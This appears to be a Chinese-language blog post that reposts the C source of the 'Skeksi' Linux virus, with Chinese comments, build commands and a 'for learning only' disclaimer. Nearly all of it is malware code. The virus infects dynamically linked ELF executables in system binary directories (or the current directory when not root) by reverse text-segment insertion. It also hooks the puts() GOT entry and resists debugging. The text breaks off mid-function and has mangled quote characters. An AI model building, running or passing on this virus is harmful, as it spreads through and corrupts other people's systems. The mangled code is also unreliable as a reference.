linux 病毒virus(text 逆向、PLT\GOT HOOK)

免责声明:
源码仅供学习,非法使用与作者无关!!!
源码仅供学习,非法使用与作者无关!!!
源码仅供学习,非法使用与作者无关!!!

随机感染目录下所有 elf 文件:
char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" };


virus.c

/*
 * 编译:
 * gcc -g -O0 -DANTIDEBUG -DINFECT_PLTGOT  -fno-stack-protector -c virus.c -fpic -o virus.o
 * gcc -N -fno-stack-protector -nostdlib virus.o -o virus
 *
 * 使用 -DDEBUG 允许Virus打印输出信息
 *
 * 运行:
 * ./virus
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <elf.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <link.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <time.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/prctl.h>
#include <sys/time.h>

#define VIRUS_LAUNCHER_NAME "virus"
//struct linux_dirent64 {
//    u64          d_ino;                    /* inode number 索引节点号 */
//    s64          d_off;                     /* offset to this dirent 在目录文件中的偏移 */
//    unsigned short     d_reclen;
//    unsigned char     d_type;        /* the type of d_name 文件类型 */
//    char          d_name[0];             /* file name (null-terminated) 文件名,最长255字符 */
//};
struct linux_dirent64 {
        uint64_t        d_ino;
        int64_t         d_off;
        unsigned short  d_reclen;
        unsigned char   d_type;
        char            d_name[0];
} __attribute__((packed));

//动态加载函数
void Memset(void *mem, unsigned char byte, unsigned int len);
void _memcpy(void *, void *, unsigned int);
int _printf(char *, ...);
char * itoa(long, char *);
char * itox(long, char *);
int _puts(char *);
int _puts_nl(char *);
size_t _strlen(char *);
char *_strchr(const char *, int);
char * _strrchr(const char *, int);
int _strncmp(const char *, const char *, size_t);
int _strcmp(const char *, const char *);
int _memcmp(const void *, const void *, unsigned int);
char _toupper(char c);

//系统调用
long _ptrace(long request, long pid, void *addr, void *data);
int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
int _fstat(long, void *);
int _mprotect(void * addr, unsigned long len, int prot);
long _lseek(long, long, unsigned int);
void Exit(long);
void *_mmap(void *, unsigned long, unsigned long, unsigned long,  long, unsigned long);
int _munmap(void *, size_t);
long _open(const char *, unsigned long, long);
long _write(long, char *, unsigned long);
int _read(long, char *, unsigned long);
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                    unsigned int count);
int _rename(const char *, const char *);
int _close(unsigned int);
int _gettimeofday(struct timeval *, struct timezone *);

//实现的函数
unsigned long get_rip(void);
void end_code(void);
void dummy_marker(void);
static inline uint32_t get_random_number(int) __attribute__((__always_inline__));
void display_skeksi(void);

#define PIC_RESOLVE_ADDR(target) (get_rip() - ((char *)&get_rip_label - (char *)target))

#if defined(DEBUG) && DEBUG > 0
 #define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt,     __FILE__, __LINE__, __func__, ##args)
#else
//在发布版本中不做任何事情
 #define DEBUG_PRINT(fmt, args...)
#endif

#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE - 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define PAGE_ROUND(x) (PAGE_ALIGN_UP(x))
#define STACK_SIZE 0x4000000

#define TMP ".xyz.skeksi.elf64"
// 用于拷贝已经够用了
#define RODATA_PADDING 17000

#define LUCKY_NUMBER 7
#define MAGIC_NUMBER 0x15D25

#define __ASM__ asm __volatile__

extern long real_start;
extern long get_rip_label;
//参数
struct bootstrap_data {
    int argc;
    char **argv;
};
//elf文件相关
typedef struct elfbin {
    //elf文件头
    Elf64_Ehdr *ehdr;
    //程序头
    Elf64_Phdr *phdr;
    //节表头
    Elf64_Shdr *shdr;
    //动态库
    Elf64_Dyn *dyn;
    //代码段
    Elf64_Addr textVaddr;
    //数据段
    Elf64_Addr dataVaddr;
    //代码大小
    size_t textSize;
    //数据大小
    size_t dataSize;
    //数据段偏移
    Elf64_Off dataOff;
    //代码段偏移
    Elf64_Off textOff;
    //映射基址
    uint8_t *mem;
    size_t size;
    char *path;
    struct stat st;
    int fd;
    int original_virus_exe;
} elfbin_t;

#define DIR_COUNT 4

_start()
{
#if 0
    struct bootstrap_data bootstrap;
#endif
//保存所有寄存器
    __ASM__ (
     ".globl real_start \n"
     "real_start:       \n"
     "push %rsp \n"
     "push %rbp \n"
     "push %rax \n"
     "push %rbx \n"
     "push %rcx \n"
     "push %rdx \n"
     "push %r8  \n"
     "push %r9  \n"
     "push %r10 \n"
     "push %r11 \n"
     "push %r12 \n"
     "push %r13 \n"
     "push %r14 \n"
     "push %r15   ");

#if 0
    __ASM__ ("mov 0x08(%%rbp), %%rcx " : "=c" (bootstrap.argc));
        __ASM__ ("lea 0x10(%%rbp), %%rcx " : "=c" (bootstrap.argv));
#endif
//call main
    __ASM__ (
#if 0
     "leaq %0, %%rdi\n"
#endif
     "call do_main   " //:: "g"(bootstrap)
    );
//pop所有寄存器
    __ASM__ (
     "pop %r15  \n"
     "pop %r14  \n"
     "pop %r13  \n"
     "pop %r12  \n"
     "pop %r11  \n"
     "pop %r10  \n"
     "pop %r9   \n"
     "pop %r8   \n"
     "pop %rdx  \n"
     "pop %rcx  \n"
     "pop %rbx  \n"
     "pop %rax  \n"
     "pop %rbp  \n"
     "pop %rsp  \n"
     "add $0x8, %rsp\n"
     "jmp end_code  "
    );
}

/*
 * l33t sp34k version of puts. We infect PLTGOT entry for puts() of infected binaries.
 */

int evil_puts(const char *string)
{
    char *s = (char *)string;
    char new[1024];
    int index = 0;
    int rnum = get_random_number(5);
    if (rnum != 3)
        goto normal;

    Memset(new, 0, 1024);
    while (*s != ‘\0‘ && index < 1024) {
        switch(_toupper(*s)) {
            case ‘I‘:
                new[index++] = ‘1‘;
                break;
            case ‘E‘:
                new[index++] = ‘3‘;
                break;
            case ‘S‘:
                new[index++] = ‘5‘;
                break;
            case ‘T‘:
                new[index++] = ‘7‘;
                break;
            case ‘O‘:
                new[index++] = ‘0‘;
                break;
            case ‘A‘:
                new[index++] = ‘4‘;
                break;
            default:
                new[index++] = *s;
                break;
        }
        s++;
    }
    return _puts_nl(new);
normal:
    return _puts_nl((char *)string);
}

//堆区域
#define CHUNK_SIZE 256
void * vx_malloc(size_t len, uint8_t **mem)
{
    if (*mem == NULL) {
        *mem = _mmap(NULL, 0x200000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (*mem == MAP_FAILED) {
            DEBUG_PRINT("malloc failed with mmap\n");
            Exit(-1);
        }
    }
    *mem += CHUNK_SIZE;
    return (void *)((char *)*mem - len);
}

static inline void vx_free(uint8_t *mem)
{
    uintptr_t addr = (uintptr_t)mem;
    if ((addr & 0x000000000fff) == 0) {
        _munmap(mem, 0x200000);
        return;
    }
    addr -= CHUNK_SIZE;
    mem = (uint8_t *)addr;
}

static inline int _rand(long *seed) // RAND_MAX assumed to be 32767
{
        *seed = *seed * 1103515245 + 12345;
        return (unsigned int)(*seed / 65536) & 32767;
}
//我们依赖ASLR来获得我们的PSUEDO随机性,因为RSP在每次执行时都是不同的
static inline uint32_t get_random_number(int max)
{
    struct timeval tv;
    _gettimeofday(&tv, NULL);
    return _rand(&tv.tv_usec) % max;
}

static inline char * randomly_select_dir(char **dirs)
{
    return (char *)dirs[get_random_number(DIR_COUNT)];
}

char * full_path(char *exe, char *dir, uint8_t **heap)
{
    char *ptr = (char *)vx_malloc(_strlen(exe) + _strlen(dir) + 2, heap);
    Memset(ptr, 0, _strlen(exe) + _strlen(dir));
    _memcpy(ptr, dir, _strlen(dir));
    ptr[_strlen(dir)] = ‘/‘;
    if (*exe == ‘.‘ && *(exe + 1) == ‘/‘)
        exe += 2;
    _memcpy(&ptr[_strlen(dir) + 1], exe, _strlen(exe));
    return ptr;
}

#define JMPCODE_LEN 6
//注入病毒体
int inject_parasite(size_t psize, size_t paddingSize, elfbin_t *target, elfbin_t *self, ElfW(Addr) orig_entry_point)
{
    int ofd;
    unsigned int c;
    int i, t = 0, ehdr_size = sizeof(ElfW(Ehdr));
    unsigned char *mem = target->mem;
    unsigned char *parasite = self->mem;
    char *host = target->path, *protected;
    struct stat st;

    _memcpy((struct stat *)&st, (struct stat *)&target->st, sizeof(struct stat));

        /* eot is:
         * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
         * end_of_text += p_hdr->p_filesz;
         */
        extern int return_entry_start;

        if ((ofd = _open(TMP, O_CREAT|O_WRONLY|O_TRUNC, st.st_mode)) == -1)
                return -1;

        /*
         * Write first 64 bytes of original binary (The elf file header)
         * [ehdr]
         */
        if ((c = _write(ofd, mem, ehdr_size)) != ehdr_size)
        return -1;

        /*
         * 开始注入
         * [ehdr][virus]
         */
    void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);
        void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);
    int end_code_size = (int)((char *)f2 - (char *)f1);
    Elf64_Addr end_code_addr = PIC_RESOLVE_ADDR(&end_code);
        uint8_t jmp_patch[6] = {0x68, 0x0, 0x0, 0x0, 0x0, 0xc3};
    *(uint32_t *)&jmp_patch[1] = orig_entry_point;
    /*
     * 写入寄生代码直到 end_code()
     */
    size_t initial_parasite_len = self->size - RODATA_PADDING;
    initial_parasite_len -= end_code_size;

    if ((c = _write(ofd, parasite, initial_parasite_len)) != initial_parasite_len) {
        return -1;
    }
    _write(ofd, jmp_patch, sizeof(jmp_patch));
    _write(ofd, ?site[initial_parasite_len + sizeof(jmp_patch)], RODATA_PADDING + (end_code_size - sizeof(jmp_patch)));

    /*
         * Seek to end of tracer.o + PAGE boundary
         * [ehdr][virus][pad]
         */
        uint32_t offset = sizeof(ElfW(Ehdr)) + paddingSize;
        if ((c = _lseek(ofd, offset, SEEK_SET)) != offset)
        return -1;

        /*
         * Write the rest of the original binary
         * [ehdr][virus][pad][phdrs][text][data][shdrs]
         */
        mem += sizeof(Elf64_Ehdr);

        unsigned int final_length = st.st_size - (sizeof(ElfW(Ehdr))); // + target->ehdr->e_shnum * sizeof(Elf64_Shdr));
        if ((c = _write(ofd, mem, final_length)) != final_length)
        return -1;

    _close(ofd);

    return 0;
}
//注入 elf文件
Elf64_Addr infect_elf_file(elfbin_t *self, elfbin_t *target)
{
    //文件头
    Elf64_Ehdr *ehdr;
    //程序头
    Elf64_Phdr *phdr;
    //节表头
    Elf64_Shdr *shdr;
    //映射基址
    uint8_t *mem;
    int fd;
        //代码段
    int text_found = 0, i;
    //入口
    Elf64_Addr orig_entry_point;
    //代码段节的基址
    Elf64_Addr origText;
    Elf64_Addr new_base;
    size_t parasiteSize;
    size_t paddingSize;
    struct stat st;
    char *host = target->path;
    long o_entry_offset;
    /*
     * Get size of parasite (self)
     */
    parasiteSize = self->size;
    paddingSize = PAGE_ALIGN_UP(parasiteSize);
    //映射基址
    mem = target->mem;
    *(uint32_t *)&mem[EI_PAD] = MAGIC_NUMBER;
    //相关头信息
    ehdr = (Elf64_Ehdr *)target->ehdr;
    phdr = (Elf64_Phdr *)target->phdr;
    shdr = (Elf64_Shdr *)target->shdr;
    //原来入口
    orig_entry_point = ehdr->e_entry;

    phdr[0].p_offset += paddingSize;
    phdr[1].p_offset += paddingSize;
    //text 逆向感染
    for (i = 0; i < ehdr->e_phnum; i++) {
            if (text_found)
                    phdr[i].p_offset += paddingSize;

            if (phdr[i].p_type == PT_LOAD && phdr[i].p_flags == (PF_R|PF_X)) {
                            origText = phdr[i].p_vaddr;
                            phdr[i].p_vaddr -= paddingSize;
            phdr[i].p_paddr -= paddingSize;
                            phdr[i].p_filesz += paddingSize;
                            phdr[i].p_memsz += paddingSize;
            //过PaX保护
            phdr[i].p_align = 0x1000;
            new_base = phdr[i].p_vaddr;
            text_found = 1;
            } else {
        if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset && (phdr[i].p_flags & PF_W))
            //过PaX保护
            phdr[i].p_align = 0x1000;
    }

    }
    if (!text_found) {
            DEBUG_PRINT("Error, 无法定位目标可执行文件中的文本段: %s\n", target->path);
            return -1;
    }
    ehdr->e_entry = origText - paddingSize + sizeof(ElfW(Ehdr));
    shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
    char *StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];
    for (i = 0; i < ehdr->e_shnum; i++) {
    //让它病毒在.text段的
    if (!_strncmp((char *)&StringTable[shdr[i].sh_name], ".text", 5)) {
        shdr[i].sh_offset = sizeof(ElfW(Ehdr)); // -= (uint32_t)paddingSize;
        shdr[i].sh_addr = origText - paddingSize;
        shdr[i].sh_addr += sizeof(ElfW(Ehdr));
        shdr[i].sh_size += self->size;
    }
    else
        shdr[i].sh_offset += paddingSize;

    }
    ehdr->e_shoff += paddingSize;
    ehdr->e_phoff += paddingSize;
    //开始注入病毒体
    inject_parasite(parasiteSize, paddingSize, target, self, orig_entry_point);
    //返回新的基址
    return new_base;
}

//由于病毒存在文本和数据段,在每个病毒中插入初始ELF文件头和phdr
//这可以很好地通过解析我们自己的程序头等来实现自加载
int load_self(elfbin_t *elf)
{
    int i;
    void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);
    void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);
    Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start);
    elf->mem = (uint8_t *)_start_addr;
    elf->size = (char *)&end_code - (char *)&_start;
    elf->size += (int)((char *)f2 - (char *)f1);
    //elf->size += 1024; // So we have .rodata included in parasite insertion
    elf->size += RODATA_PADDING; //SKEKSI_BYTECODE_SIZE;
    return 0;
}
//移除映射
void unload_target(elfbin_t *elf)
{
    _munmap(elf->mem, elf->size);
    _close(elf->fd);
}
//加载 elf 文件映射
int load_target(const char *path, elfbin_t *elf)
{
    int i;
    struct stat st;
    //路径
    elf->path = (char *)path;
    //打开文件
    int fd = _open(path, O_RDONLY, 0);
    if (fd < 0)
        return -1;
    elf->fd = fd;
    //读文件信息
    if (_fstat(fd, &st) < 0)
        return -1;
    //创建映射
    elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if (elf->mem == MAP_FAILED)
        return -1;
    //文件头
    elf->ehdr = (Elf64_Ehdr *)elf->mem;
    //程序头
    elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];
    //节表头
    elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];
    //遍历 all 程序头
    for (i = 0; i < elf->ehdr->e_phnum; i++) {
        //判断类型
        switch(elf->phdr[i].p_type) {
            //可装载段
            case PT_LOAD:
                switch(!!elf->phdr[i].p_offset) {
                    case 0:
                        elf->textVaddr = elf->phdr[i].p_vaddr;
                        elf->textSize = elf->phdr[i].p_memsz;
                        break;
                    case 1:
                        elf->dataVaddr = elf->phdr[i].p_vaddr;
                        elf->dataSize = elf->phdr[i].p_memsz;
                        elf->dataOff = elf->phdr[i].p_offset;
                        break;
                        }
                break;
            //动态段
            case PT_DYNAMIC:
                elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];
                break;
        }

        }
    elf->st = st;
    elf->size = st.st_size;
    return 0;
}

int load_target_writeable(const char *path, elfbin_t *elf)
{
        int i;
        struct stat st;
        elf->path = (char *)path;
        int fd = _open(path, O_RDWR, 0);
        if (fd < 0)
                return -1;
        elf->fd = fd;
        if (_fstat(fd, &st) < 0)
                return -1;
        elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (elf->mem == MAP_FAILED)
                return -1;
        elf->ehdr = (Elf64_Ehdr *)elf->mem;
        elf->phdr = (Elf64_Phdr *)&elf->mem[elf->ehdr->e_phoff];
        elf->shdr = (Elf64_Shdr *)&elf->mem[elf->ehdr->e_shoff];
        for (i = 0; i < elf->ehdr->e_phnum; i++) {
                switch(elf->phdr[i].p_type) {
                        case PT_LOAD:
                                switch(!!elf->phdr[i].p_offset) {
                                case 0:
                                        elf->textVaddr = elf->phdr[i].p_vaddr;
                                        elf->textSize = elf->phdr[i].p_memsz;
                                        break;
                                case 1:
                                        elf->dataVaddr = elf->phdr[i].p_vaddr;
                                        elf->dataSize = elf->phdr[i].p_memsz;
                                        elf->dataOff = elf->phdr[i].p_offset;
                                        break;
                        }
                                break;
                        case PT_DYNAMIC:
                                elf->dyn = (Elf64_Dyn *)&elf->mem[elf->phdr[i].p_offset];
                                break;
                }

        }
        elf->st = st;
        elf->size = st.st_size;
        return 0;
}
//hook puts()
//直接解析phdr的动态段,仍然可以感染被去掉节表的 elf 文件
int infect_pltgot(elfbin_t *target, Elf64_Addr new_fn_addr)
{
    int i, j = 0, symindex = -1;
    Elf64_Sym *symtab;
    Elf64_Rela *jmprel;
    Elf64_Dyn *dyn = target->dyn;
    Elf64_Addr *gotentry, *pltgot;
    char *strtab;
    size_t strtab_size;
    size_t jmprel_size;
    Elf64_Addr gotaddr = 0; // INITIALIZE!
    Elf64_Off gotoff = 0;

    for (i = 0; dyn[i].d_tag != DT_NULL; i++) {
        switch(dyn[i].d_tag) {
            case DT_SYMTAB: // relative to the text segment base
                symtab = (Elf64_Sym *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
                break;
            case DT_PLTGOT: // relative to the data segment base
                pltgot = (long *)&target->mem[target->dataOff + (dyn[i].d_un.d_ptr - target->dataVaddr)];
                break;
            case DT_STRTAB: // relative to the text segment base
                strtab = (char *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
                break;
            case DT_STRSZ:
                strtab_size = (size_t)dyn[i].d_un.d_val;
                break;
            case DT_JMPREL:
                jmprel = (Elf64_Rela *)&target->mem[dyn[i].d_un.d_ptr - target->textVaddr];
                break;
            case DT_PLTRELSZ:
                jmprel_size = (size_t)dyn[i].d_un.d_val;
                break;

        }
    }
    if (symtab == NULL || pltgot == NULL) {
        DEBUG_PRINT("Unable to locate symtab or pltgot\n");
        return -1;
    }

    for (i = 0; symtab[i].st_name <= strtab_size; i++) {
        if (!_strcmp(&strtab[symtab[i].st_name], "puts")) {
            DEBUG_PRINT("puts symbol index: %d\n", i);
            symindex = i;
            break;
        }
    }
    if (symindex == -1) {
        DEBUG_PRINT("cannot find puts()\n");
        return -1;
    }
    for (i = 0; i < jmprel_size / sizeof(Elf64_Rela); i++) {
        if (!_strcmp(&strtab[symtab[ELF64_R_SYM(jmprel[i].r_info)].st_name], "puts")) {
            gotaddr = jmprel[i].r_offset;
            gotoff = target->dataOff + (jmprel[i].r_offset - target->dataVaddr);
            DEBUG_PRINT("gotaddr: %x gotoff: %x\n", gotaddr, gotoff);
            break;
        }
    }
    if (gotaddr == 0) {
        DEBUG_PRINT("Couldn‘t find relocation entry for puts\n");
        return -1;
    }

    gotentry = (Elf64_Addr *)&target->mem[gotoff];
    *gotentry = new_fn_addr;

    DEBUG_PRINT("patched GOT entry %x with address %x\n", gotaddr, new_fn_addr);
    return 0;

}
/*
 * Must be ELF
 * Must be ET_EXEC
 * Must be dynamically linked
 * Must not yet be infected
 */
//检查
int check_criteria(char *filename)
{
    int fd, dynamic, i, ret = 0;
    struct stat st;
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    uint8_t mem[4096];
    uint32_t magic;

    fd = _open(filename, O_RDONLY, 0);
    if (fd < 0)
        return -1;
    if (_read(fd, mem, 4096) < 0)
        return -1;
    _close(fd);
    ehdr = (Elf64_Ehdr *)mem;
    phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
    if(_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0)
        return -1;
    magic = *(uint32_t *)((char *)&ehdr->e_ident[EI_PAD]);
    //是否已经被注入
    if (magic == MAGIC_NUMBER)
        return -1;
    //是否为可执行程序
    if (ehdr->e_type != ET_EXEC)
        return -1;
    if (ehdr->e_machine != EM_X86_64)
        return -1;
    for (dynamic = 0, i = 0; i < ehdr->e_phnum; i++)
        if (phdr[i].p_type == PT_DYNAMIC)
            dynamic++;
    //是否为动态链接
    if (!dynamic)
        return -1;
    return 0;

}

//入口 main(argc argv**)
void do_main(struct bootstrap_data *bootstrap)
{
    //文件头
    Elf64_Ehdr *ehdr;
    //程序头
    Elf64_Phdr *phdr;
    //节表头
    Elf64_Shdr *shdr;
    //映射基址     堆基址
    uint8_t *mem, *heap = NULL;
    long new_base, base_addr, evilputs_addr, evilputs_offset;
    struct linux_dirent64 *d;
    int bpos, fcount, dd, nread;
    char *dir = NULL, **files, *fpath, dbuf[32768];
    struct stat st;
    mode_t mode;
    uint32_t rnum;
    //相关信息
    elfbin_t self, target;
    int scan_count = DIR_COUNT;
    int icount = 0;
    int paddingSize;

    //不能使用字符串 不然他保存在.rodata 或 .data 段中
    char *dirs[4] = {"/sbin", "/usr/sbin", "/bin", "/usr/bin" };
    char cwd[2] = {‘.‘, ‘\0‘};

#if ANTIDEBUG
        if (_ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
                _printf("!! Skeksi Virus, 2015 !!\n");
                Exit(-1);
        }
        _prctl(PR_SET_DUMPABLE, 0, 0, 0, 0);
#endif

rescan:
    //随机性的在四个中选择
    dir = _getuid() != 0 ? cwd : randomly_select_dir((char **)dirs);
    if (!_strcmp(dir, "."))
        scan_count = 1;
    DEBUG_PRINT("Infecting files in directory: %s\n", dir);
    //打开文件
    dd = _open(dir, O_RDONLY | O_DIRECTORY, 0);
    if (dd < 0) {
        DEBUG_PRINT("open failed\n");
        return;
    }
    //加载它同时获取相关信息
    load_self(&self);
    //循环感染
    for (;;) {
        //int getdents(unsigned int fd, struct linux_dirent *dirp,
        //             unsigned int count);
        //
        //fd指目录文件描述符。可以用sys_open创建。
        //
        //dirp指目录信息,其大小由第3个参数指定,dirp在使用时注意先分配内存。
        //
        //count 目录信息的大小。如果count指定的比较小,可以通过循环,反复获取接下来的dirp.
        //读取目录项 返回数量
        nread = _getdents64(dd, (struct linux_dirent64 *)dbuf, 32768);
        if (nread < 0) {
            DEBUG_PRINT("getdents64 failed\n");
            return;
        }
        if (nread == 0)
            break;
        for (fcount = 0, bpos = 0; bpos < nread; bpos++) {
            d = (struct linux_dirent64 *) (dbuf + bpos);
                bpos += d->d_reclen - 1;
            if (!_strcmp(d->d_name, VIRUS_LAUNCHER_NAME))
                continue;
            if (d->d_name[0] == ‘.‘)
                continue;
            //检查相关属性
            if (check_criteria(fpath = full_path(d->d_name, dir, &heap)) < 0)
                continue;
            if (icount == 0)
                goto infect;
            //从10中随机取个值
            rnum = get_random_number(10);
                        if (rnum != LUCKY_NUMBER)
                                continue;
infect:     //开始映射保存相关信息
            load_target(fpath, &target);
            //注入病毒
            new_base = infect_elf_file(&self, &target);
            //移除映射
            unload_target(&target);
//方式二   PLTGOT hook
#ifdef INFECT_PLTGOT
            load_target_writeable(TMP, &target);
            base_addr = PIC_RESOLVE_ADDR(&_start);
            evilputs_addr = PIC_RESOLVE_ADDR(&evil_puts);
            evilputs_offset = evilputs_addr - base_addr;
            infect_pltgot(&target, new_base + evilputs_offset + sizeof(Elf64_Ehdr));
            unload_target(&target);
#endif
            //重命名
            _rename(TMP, fpath);
            icount++;
        }

    }
    if (--scan_count > 0) {
        _close(dd);
        goto rescan;
    }
    //随机取
    rnum = get_random_number(50);
    if (rnum == LUCKY_NUMBER)
        //显示病毒
        display_skeksi();

}

int _getuid(void)
{
        unsigned long ret;
        __asm__ volatile("mov $102, %rax\n"
                         "syscall");
         asm ("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

void Exit(long status)
{
        __asm__ volatile("mov %0, %%rdi\n"
                         "mov $60, %%rax\n"
                         "syscall" : : "r"(status));
}

long _open(const char *path, unsigned long flags, long mode)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
            "mov %2, %%rdx\n"
                        "mov $2, %%rax\n"
                        "syscall" : : "g"(path), "g"(flags), "g"(mode));
        asm ("mov %%rax, %0" : "=r"(ret));              

        return ret;
}

int _close(unsigned int fd)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov $3, %%rax\n"
                        "syscall" : : "g"(fd));
        return (int)ret;
}

int _read(long fd, char *buf, unsigned long len)
{
         long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov $0, %%rax\n"
                        "syscall" : : "g"(fd), "g"(buf), "g"(len));
        asm("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

long _write(long fd, char *buf, unsigned long len)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov $1, %%rax\n"
                        "syscall" : : "g"(fd), "g"(buf), "g"(len));
        asm("mov %%rax, %0" : "=r"(ret));
        return ret;
}

int _fstat(long fd, void *buf)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov $5, %%rax\n"
                        "syscall" : : "g"(fd), "g"(buf));
        asm("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

int _unlink(const char *path)
{
       long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
            "mov $87, %%rax\n"
            "syscall" ::"g"(path));
    asm("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

int _rename(const char *old, const char *new)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov $82, %%rax\n"
                        "syscall" ::"g"(old),"g"(new));
        asm("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

long _lseek(long fd, long offset, unsigned int whence)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov $8, %%rax\n"
                        "syscall" : : "g"(fd), "g"(offset), "g"(whence));
        asm("mov %%rax, %0" : "=r"(ret));
        return ret;

}

int _fsync(int fd)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov $74, %%rax\n"
                        "syscall" : : "g"(fd));

        asm ("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{
        long mmap_fd = fd;
        unsigned long mmap_off = off;
        unsigned long mmap_flags = flags;
        unsigned long ret;

        __asm__ volatile(
                         "mov %0, %%rdi\n"
                         "mov %1, %%rsi\n"
                         "mov %2, %%rdx\n"
                         "mov %3, %%r10\n"
                         "mov %4, %%r8\n"
                         "mov %5, %%r9\n"
                         "mov $9, %%rax\n"
                         "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
        asm ("mov %%rax, %0" : "=r"(ret));
        return (void *)ret;
}

int _munmap(void *addr, size_t len)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov $11, %%rax\n"
                        "syscall" :: "g"(addr), "g"(len));
        asm ("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

int _mprotect(void * addr, unsigned long len, int prot)
{
        unsigned long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov $10, %%rax\n"
                        "syscall" : : "g"(addr), "g"(len), "g"(prot));
        asm("mov %%rax, %0" : "=r"(ret));

        return (int)ret;
}

long _ptrace(long request, long pid, void *addr, void *data)
{
        long ret;

        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov %3, %%r10\n"
                        "mov $101, %%rax\n"
                        "syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data));
        asm("mov %%rax, %0" : "=r"(ret));

        return ret;
}

int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
        long ret;

        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov %3, %%r10\n"
                        "mov $157, %%rax\n"
                        "syscall\n" :: "g"(option), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5));
        asm("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}
//读取目录项
int _getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                    unsigned int count)
{
        long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov %2, %%rdx\n"
                        "mov $217, %%rax\n"
                        "syscall" :: "g"(fd), "g"(dirp), "g"(count));
        asm ("mov %%rax, %0" : "=r"(ret));
        return (int)ret;
}

int _gettimeofday(struct timeval *tv, struct timezone *tz)
{
    long ret;
        __asm__ volatile(
                        "mov %0, %%rdi\n"
                        "mov %1, %%rsi\n"
                        "mov $96, %%rax\n"
            "syscall" :: "g"(tv), "g"(tz));
    asm ("mov %%rax, %0" : "=r"(ret));
        return (int)ret;

}

void _memcpy(void *dst, void *src, unsigned int len)
{
        int i;
        unsigned char *s = (unsigned char *)src;
        unsigned char *d = (unsigned char *)dst;

        for (i = 0; i < len; i++) {
                *d = *s;
                s++, d++;
        }

}

void Memset(void *mem, unsigned char byte, unsigned int len)
{
        unsigned char *p = (unsigned char *)mem;
        int i = len;
        while (i--) {
                *p = byte;
                p++;
        }
}

int _printf(char *fmt, ...)
{
        int in_p;
        unsigned long dword;
        unsigned int word;
        char numbuf[26] = {0};
